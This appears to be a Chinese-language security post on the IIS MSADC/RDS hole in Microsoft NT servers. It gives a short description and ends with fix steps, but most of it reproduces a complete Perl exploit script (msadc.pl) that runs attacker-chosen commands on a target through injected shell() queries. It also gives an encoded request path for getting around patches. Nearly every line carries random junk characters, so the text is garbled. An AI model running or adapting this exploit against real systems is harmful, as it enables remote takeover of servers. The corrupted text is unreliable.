IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
o?hr>b &t AYF_} 涉及程序：
- R:_o1" Microsoft NT server
cS9 jGD92 @|DQZt 描述：
Coe/ 4! $M 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.Ln a\Bv eOE*$pH 详细：
%8tE*3iUF 如果你没有时间读详细内容的话，就删除:
e@W+ehx" c:\Program Files\Common Files\System\Msadc\msadcs.dll
m)Kg6/MV. 有关的安全问题就没有了。
x'I!f? / & </ ` \3t 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
?}4,s7PR ebQgk
Y= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
:1>?:3,` 关于利用ODBC远程漏洞的描述，请参看:
ngl +`|u IUFc_uL@\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @nY]S\if sr c+z # 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`{G&i\"n http://www.microsoft.com/security/bulletins/MS99-025faq.asp HT .*r6Y>g yQ N{)rv 这里不再论述。
^D$|$= |DH 6_bL<:xtY 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
=zcvR {Dkp CC`_e^~y=F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\toU zTT 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^0OP&s;" b TaKB- }Ze*/ p- #将下面这段保存为txt文件，然后: "perl -x 文件名"
LD} ~]
-9i 7 J a #!perl
sE6>JaH #
*c94'T cl # MSADC/RDS 'usage' (aka exploit) script
*kl :/# #
$}gM JG # by rain.forest.puppy
k_=yb^6[U #
Ptv'.<- # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T +F]hv' # beta test and find errors!
0\ = du Tn#Co$< use Socket; use Getopt::Std;
p2i?)+z getopts("e:vd:h:XR", \%args);
+SH{`7r d}h{#va* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MxIa,M < 0B]q /G( if (!defined $args{h} && !defined $args{R}) {
+y?Ilkk;j print qq~
6(f 'P_* Usage: msadc.pl -h <host> { -d <delay> -X -v }
zl|z4j'Irc -h <host> = host you want to scan (ip or domain)
yij P -d <seconds> = delay between calls, default 1 second
ro{!X, _$, -X = dump Index Server path table, if available
+1!iwmch> -v = verbose
Kf[d@ L -e = external dictionary file for step 5
rR > X< S=(O6+ U Or a -R will resume a command session
o[Jzx2 A< Go)$LC0Mi ~; exit;}
){5Nod{}a @owneSD qN $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}oRBQP^&K if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dz] 5s if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
56 3mz- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
tX{yR'Qhu $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pa[/6( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~P1~:AT P2-&Im`+ if (!defined $args{R}){ $ret = &has_msadc;
{_O !mI* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o e U i go uU print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>%j%Mj@8q| . "cmd /c ";
J~k9jeq9 $in=<STDIN>; chomp $in;
5 8 bW $command="cmd /c " . $in ;
Rqh5F zB> ,yYcjs!=o if (defined $args{R}) {&load; exit;}
4N,m cV EO&Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"]+g5 G &try_btcustmr;
JL1ajlm~ WEimJrAn print "\nStep 2: Trying to make our own DSN...";
^Co$X+
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>X*tMhcb 7MKX`S print "\nStep 3: Trying known DSNs...";
hzqJ! &known_dsn;
U#` e~d t< mLX/xM/T?/ print "\nStep 4: Trying known .mdbs...";
x]+PWk &known_mdb;
5I622 d s<9g3Gh if (defined $args{e}){
6l]X{ A. print "\nStep 5: Trying dictionary of DSN names...";
o}OY,P &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
wGc7 |1U_5w print "Sorry Charley...maybe next time?\n";
*2G6Q
g F exit;
% =^/^[ D NBYJ'nA%;f ##############################################################################
Q. g/ =*2,^j sub sendraw { # ripped and modded from whisker
P0m3IH) sleep($delay); # it's a DoS on the server! At least on mine...
xh;V4zK@` my ($pstr)=@_;
)>iOj50n3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FZr/trP~ die("Socket problems\n");
9zu;OK% if(connect(S,pack "SnA4x8",2,80,$target)){
)/T[Cnx.Nc select(S); $|=1;
pH1 !6X print $pstr; my @in=<S>;
oN7S m P_ select(STDOUT); close(S);
$ C4~v return @in;
`^bP9X_a } else { die("Can't connect...\n"); }}
cm< #zu3~S XcVN{6-z ##############################################################################
gq7tSkH@ u,sR2&Fe sub make_header { # make the HTTP request
c gg6E
O( my $msadc=<<EOT
D|:'|7l W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
u "[f\l User-Agent: ACTIVEDATA
(%my:\>l Host: $ip
6Y9N= \` Content-Length: $clen
Kxr@!m" Connection: Keep-Alive
x'GB#svi `H+"7SO ADCClientVersion:01.06
yqT !A Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j / 5 +V3mF_s|z --!ADM!ROX!YOUR!WORLD!
)^>LnQ_u Content-Type: application/x-varg
[jMN *p? Content-Length: $reqlen
hsC T:1i ]juPm8e F EOT
ujU,O%.n ; $msadc=~s/\n/\r\n/g;
Fc~G*Gz~Z| return $msadc;}
_f1o!4ocx Ar`+x5
##############################################################################
cHjQwl 0HzqU31%l@ sub make_req { # make the RDS request
AkhG~L my ($switch, $p1, $p2)=@_;
(8d u V my $req=""; my $t1, $t2, $query, $dsn;
9L Dv?kYr $D bnPZ2$ if ($switch==1){ # this is the btcustmr.mdb query
17LhgZs& $query="Select * from Customers where City=" . make_shell();
W0qR? jc $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rq+_ [ ! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xe@1H\ 7: y> I2}P elsif ($switch==2){ # this is general make table query
Q_5 l.M/9] $query="create table AZZ (B int, C varchar(10))";
yPN '@{ 5# $dsn="$p1";}
I652Fcj &d_^k.%y elsif ($switch==3){ # this is general exploit table query
hFrMOc& $query="select * from AZZ where C=" . make_shell();
d)o5JD/ $dsn="$p1";}
kwI``7g8*e F B]Y~;( elsif ($switch==4){ # attempt to hork file info from index server
L)e" qC_- $query="select path from scope()";
H QqFrR
$dsn="Provider=MSIDXS;";}
HI.*xkBXl& 66yw[,Y elsif ($switch==5){ # bad query
-ss= c # $query="select";
AZj&;!} $dsn="$p1";}
C/kf?:j 3BFOZV+ $t1= make_unicode($query);
9/ <3mF@E $t2= make_unicode($dsn);
h0{X$&: $req = "\x02\x00\x03\x00";
OF-k7g7 $req.= "\x08\x00" . pack ("S1", length($t1));
{{G)Ry*pb $req.= "\x00\x00" . $t1 ;
aJu&h2 G $req.= "\x08\x00" . pack ("S1", length($t2));
7sot?gF $req.= "\x00\x00" . $t2 ;
jLAEHEs $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z0z@LA4k6@ return $req;}
Qb536RpcTY E&M ( QX5 ##############################################################################
c;l!i- XiUq#84Q sub make_shell { # this makes the shell() statement
UP~28%>X return "'|shell(\"$command\")|'";}
`m,4# P-kj (MwRe?Ih ##############################################################################
,} oAc ;Afz`Se1@ sub make_unicode { # quick little function to convert to unicode
p~D}Iyww1_ my ($in)=@_; my $out;
djd/QAfSC for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PDNl]? return $out;}
R9J!}az' nm^HL| ##############################################################################
;%t Fi odv2 (\ sub rdo_success { # checks for RDO return success (this is kludge)
7'0V b !( my (@in) = @_; my $base=content_start(@in);
kiTC)S=]) if($in[$base]=~/multipart\/mixed/){
6= iHw 24 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
YQMWhC,8hy return 0;}
kAftW
' V9c.(QY|f ##############################################################################
Myq8`/_ DT-VxF6 h sub make_dsn { # this makes a DSN for us
`4Yo-@iVP my @drives=("c","d","e","f");
9LR=>@Z print "\nMaking DSN: ";
C6!F6Stn]g foreach $drive (@drives) {
9` in
r.: print "$drive: ";
JZ5k3#@e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N\{" &e "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O]N /(pe:d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?cU,%<r $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|]\zlH"w return 0 if $2 eq "404"; # not found/doesn't exist
X8C7d 6ca if($2 eq "200") {
sSM"~_y\ foreach $line (@results) {
q lc@$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\Kl2 0? } return 0;}
i|:!I)(lh >eJ <-3L; ##############################################################################
zsL@0]e& D|uvgu2 sub verify_exists {
GppCrQ%Ra| my ($page)=@_;
=L W!$p my @results=sendraw("GET $page HTTP/1.0\n\n");
c_8&4 return $results[0];}
<WXVUEea x,B] J4 ##############################################################################
'uL4ezTtA (x=$b(I sub try_btcustmr {
F*72g)hVh my @drives=("c","d","e","f");
RQVu~7d[ my @dirs=("winnt","winnt35","winnt351","win","windows");
3j7FG%\ b8Wt NVd foreach $dir (@dirs) {
'| 8 dt "C print "$dir -> "; # fun status so you can see progress
<jh4P!\&j foreach $drive (@drives) {
MN?aPpr> print "$drive: "; # ditto
uwwR$
(\7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;[ <(4v$ $reqlenlen=length( "$reqlen" );
= oAS(7o $clen= 206 + $reqlenlen + $reqlen;
(7 I|lf
e d$!Q6ux; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0 R6:3fV6R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?sN{U\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
DDE-$)lf> 4 m:h&^`N ##############################################################################
0 Q TI;3 #g{R +#fm sub odbc_error {
BT7{]2?&V my (@in)=@_; my $base;
VD=H=Ju my $base = content_start(@in);
p -4$)w~6i if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
mixsJ}e $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JP#S/kJ%3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*X0>Ru [ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
| {9<%Ok4P return $in[$base+4].$in[$base+5].$in[$base+6];}
abo=v<m R print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.}IW!$
dq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
O}M-6!%<, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+,e#uuj$p Xa[k=qFo ##############################################################################
=j.TDv'^nd t3<MoDe7`r sub verbose {
sz9W}&(j my ($in)=@_;
bzr2Zj{4 return if !$verbose;
O<S.f r, print STDOUT "\n$in\n";}
#&Hi0..y 2B_ |"J ##############################################################################
!"^Zr]Qt+\ vJ WBr:`L sub save {
s9Hxiw@D my ($p1, $p2, $p3, $p4)=@_;
y:'Ns$+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
1wFu3fh@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"i0>>@NR' close OUT;}
CsZ~LQ=DB sN41Bz$q. ##############################################################################
y4-kuMYR .}==p&( sub load {
f-%M~: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\jfK']P/H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(/:m*x*6 @p=<IN>; close(IN);
{JE [ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
eiMP: $target= inet_aton($ip) || die("inet_aton problems");
*yBVZD|?H print "Resuming to $ip ...";
mnm
ZO} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
BH:A]#_{ if($p[1]==1) {
(`(D
$% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
dl4n -*h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>@vu;j\*E5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
EGXvz)y if (rdo_success(@results)){print "Success!\n";}
V Z9 p " else { print "failed\n"; verbose(odbc_error(@results));}}
N/tcW elsif ($p[1]==3){
gFR}WBl/ if(run_query("$p[3]")){
)r e<NE&M print "Success!\n";} else { print "failed\n"; }}
f,G*e367: elsif ($p[1]==4){
[qc1
V%g if(run_query($drvst . "$p[3]")){
~F"S] print "Success!\n"; } else { print "failed\n"; }}
j
iKHx_9P exit;}
]?6wU-a 8iI p[9~= ##############################################################################
/.]u%;%r[ ^KhJBM /Z sub create_table {
Y`g o V my ($in)=@_;
:\^b6"}8 $reqlen=length( make_req(2,$in,"") ) - 28;
D ,k x B~ $reqlenlen=length( "$reqlen" );
j_<qnBeQ $clen= 206 + $reqlenlen + $reqlen;
DTO_IP my @results=sendraw(make_header() . make_req(2,$in,""));
Ohm{m^VD" return 1 if rdo_success(@results);
5wue2/gl my $temp= odbc_error(@results); verbose($temp);
78l);/E{v return 1 if $temp=~/Table 'AZZ' already exists/;
$1.-m{Bd return 0;}
HV a9b; V0;"Qa@q ##############################################################################
1jKpLTSs ^lp=4C 9 sub known_dsn {
Q.N!b 7r7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
N<Sl88+U my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a>47k{RSzE "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m.lR]!Y=w "banner", "banners", "ads", "ADCDemo", "ADCTest");
oJa} NH
2 7 )If E foreach $dSn (@dsns) {
505c(+ print ".";
mG ~k f]Y next if (!is_access("DSN=$dSn"));
"rB B&l if(create_table("DSN=$dSn")){
=Kj{wA
O print "$dSn successful\n";
URb8[~dR: if(run_query("DSN=$dSn")){
G_+/ e]P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|dR}S!f mG print "Something's borked. Use verbose next time\n";}}} print "\n";}
3 Q,&D'];[ k8?._1t ##############################################################################
MT!Y!*-5
O>L,G)g sub is_access {
#Th)^Is my ($in)=@_;
.i*oZ'[X $reqlen=length( make_req(5,$in,"") ) - 28;
y8YsS4E^Q $reqlenlen=length( "$reqlen" );
(WHg B0{ $clen= 206 + $reqlenlen + $reqlen;
OlT8pG5Oa my @results=sendraw(make_header() . make_req(5,$in,""));
k'8tcXs my $temp= odbc_error(@results);
>6S7#)0T verbose($temp); return 1 if ($temp=~/Microsoft Access/);
? ^U? ua6 return 0;}
Ar<5UnT L6h<B
:l ##############################################################################
g+B7~Z5, ]N 9 N][n sub run_query {
F0!Z1S0g my ($in)=@_;
9"#C%~ = + $reqlen=length( make_req(3,$in,"") ) - 28;
!q&T d $reqlenlen=length( "$reqlen" );
,: mL\ZED $clen= 206 + $reqlenlen + $reqlen;
`,}7LfY my @results=sendraw(make_header() . make_req(3,$in,""));
-))S return 1 if rdo_success(@results);
b-ss^UL my $temp= odbc_error(@results); verbose($temp);
==Egy:<:Q return 0;}
'&cH,yc;b SCfp5W7~ ##############################################################################
'vNju1sfk B@*b 9 sub known_mdb {
kWW2N0~ $ my @drives=("c","d","e","f","g");
r R6} my @dirs=("winnt","winnt35","winnt351","win","windows");
#L R4%}mg my $dir, $drive, $mdb;
u\ _yjv# my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e|oMbTZ5m {D[6=\ F # this is sparse, because I don't know of many
)#i@DHt= my @sysmdbs=( "\\catroot\\icatalog.mdb",
>ZJ]yhbhK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8&U
Mmbgy "\\system32\\certmdb.mdb",
xf&[QG+Ef "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Mp/l*"( X,G<D} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
NK q I x "\\cfusion\\cfapps\\forums\\forums_.mdb",
4s 7
RB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
wQG?)aaM "\\cfusion\\cfapps\\security\\realm_.mdb",
,ayEZ#4.m "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=mXC,<] "\\cfusion\\database\\cfexamples.mdb",
JU 17]gQ "\\cfusion\\database\\cfsnippets.mdb",
iyn9[>j e "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^=eC1 bQA "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
jfG of* "\\cfusion\\brighttiger\\database\\cleam.mdb",
{wC*61@1 "\\cfusion\\database\\smpolicy.mdb",
OKh0m_ )7 "\\cfusion\\database\cypress.mdb",
x`g,>>&C "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{dZ]+2Z~+ "\\website\\cgi-win\\dbsample.mdb",
~B|m"qY{i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'i% r "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
OjhX:{"5 9 ); #these are just
t+a.,$U foreach $drive (@drives) {
^i|R6oO_5 foreach $dir (@dirs){
%W~w\mT foreach $mdb (@sysmdbs) {
SV o ?o|< print ".";
x/?ET1iGt if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
36Lkcda[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
l7g'z'G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~ vA{I%z5~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
!S=YM<A d } else { print "Something's borked. Use verbose next time\n"; }}}}}
%rrA]\C' &%rM| foreach $drive (@drives) {
l Xa/5QKC foreach $mdb (@mdbs) {
wF`Y
,@ print ".";
*b>RUESF if(create_table($drv . $drive . $dir . $mdb)){
`,6|6.8# print "\n" . $drive . $dir . $mdb . " successful\n";
9^F3r]bH if(run_query($drv . $drive . $dir . $mdb)){
qHZD o[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s|WwB T } else { print "Something's borked. Use verbose next time\n"; }}}}
d Gp7EB` }
_Z(t**Zh6y 1dLc/, | ##############################################################################
(T*$4KGV (6$ P/k8 sub hork_idx {
6C2~0b print "\nAttempting to dump Index Server tables...\n";
]JkEf?;. print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
u{DE OhtI4 $reqlen=length( make_req(4,"","") ) - 28;
estiS $reqlenlen=length( "$reqlen" );
}. &ellNQ $clen= 206 + $reqlenlen + $reqlen;
ir<e ^a my @results=sendraw2(make_header() . make_req(4,"",""));
"`ftcJUd if (rdo_success(@results)){
{A/^;X{N^ my $max=@results; my $c; my %d;
8;?4rrS for($c=19; $c<$max; $c++){
e ymv/ $results[$c]=~s/\x00//g;
p
XXf5adl< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
b7>'ARdbzX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
r>(,)rs(l $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-Fd&rq:GB( $d{"$1$2"}="";}
vS\ 2zwb} foreach $c (keys %d){ print "$c\n"; }
yD~,+}0) } else {print "Index server doesn't seem to be installed.\n"; }}
o,WjM[e l(NQk> w ##############################################################################
XSC=qg$
Ysu\CZGX sub dsn_dict {
e4` L8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^Oi L&p;r while(<IN>){
e%[*NX/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
At \(/Z y next if (!is_access("DSN=$dSn"));
1<G+KC[F if(create_table("DSN=$dSn")){
x.-d)] a ! print "$dSn successful\n";
?Ujg.xo\ if(run_query("DSN=$dSn")){
gl+d0<R zw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z jmQ print "Something's borked. Use verbose next time\n";}}}
d 5yEgc;z print "\n"; close(IN);}
mxqD'^n# M m$\j*f/ ##############################################################################
jM\{*!7b &1Ndi<Y^ sub sendraw2 { # ripped and modded from whisker
_ 94
W@dW sleep($delay); # it's a DoS on the server! At least on mine...
1_TuA( my ($pstr)=@_;
qf( mJlU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ef#LRcG-Z die("Socket problems\n");
d [_ 26. if(connect(S,pack "SnA4x8",2,80,$target)){
pbAL& } print "Connected. Getting data";
j4owo#OB- open(OUT,">raw.out"); my @in;
,*iA38d.! select(S); $|=1; print $pstr;
bq E'9GI while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}>h n close(OUT); select(STDOUT); close(S); return @in;
U=bx30brh% } else { die("Can't connect...\n"); }}
> S I'Q7k M,fL(b; 2 ##############################################################################
n.+ '9Fj %C_tBNE < sub content_start { # this will take in the server headers
LH4A!a] my (@in)=@_; my $c;
:$"{-n for ($c=1;$c<500;$c++) {
Y_CVDKdcY if($in[$c] =~/^\x0d\x0a/){
V^,gpTyv* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
I uxf`sd else { return $c+1; }}}
U:TkO=/>: return -1;} # it should never get here actually
w!"L\QT C{bxPILw ##############################################################################
FY'0?CT$ Q~]oN sub funky {
x1 eC r_ my (@in)=@_; my $error=odbc_error(@in);
(%fQhQ if($error=~/ADO could not find the specified provider/){
]u5TvI,C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Hi09?AX exit;}
QH-CZ6M if($error=~/A Handler is required/){
fi
HE`]0 print "\nServer has custom handler filters (they most likely are patched)\n";
2?~nA2+vm exit;}
$YX{gk> if($error=~/specified Handler has denied Access/){
6X@z(EEL print "\nServer has custom handler filters (they most likely are patched)\n";
'u<e<hU exit;}}
G^Gs/-
f U"7o;q ##############################################################################
X_2N9$ }, )P(S:x'b0 sub has_msadc {
v8-My1toV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q("m*eMRt my $base=content_start(@results);
uU 7 <8G return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
WPRk>j return 0;}
;JkIZ8! h*VDd3[# ########################
j~N*T XkC H=BI%Z s^zlBvr|. 解决方案：
IMWt!#vuY 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fo,0NxF9 2、移除web 目录: /msadc
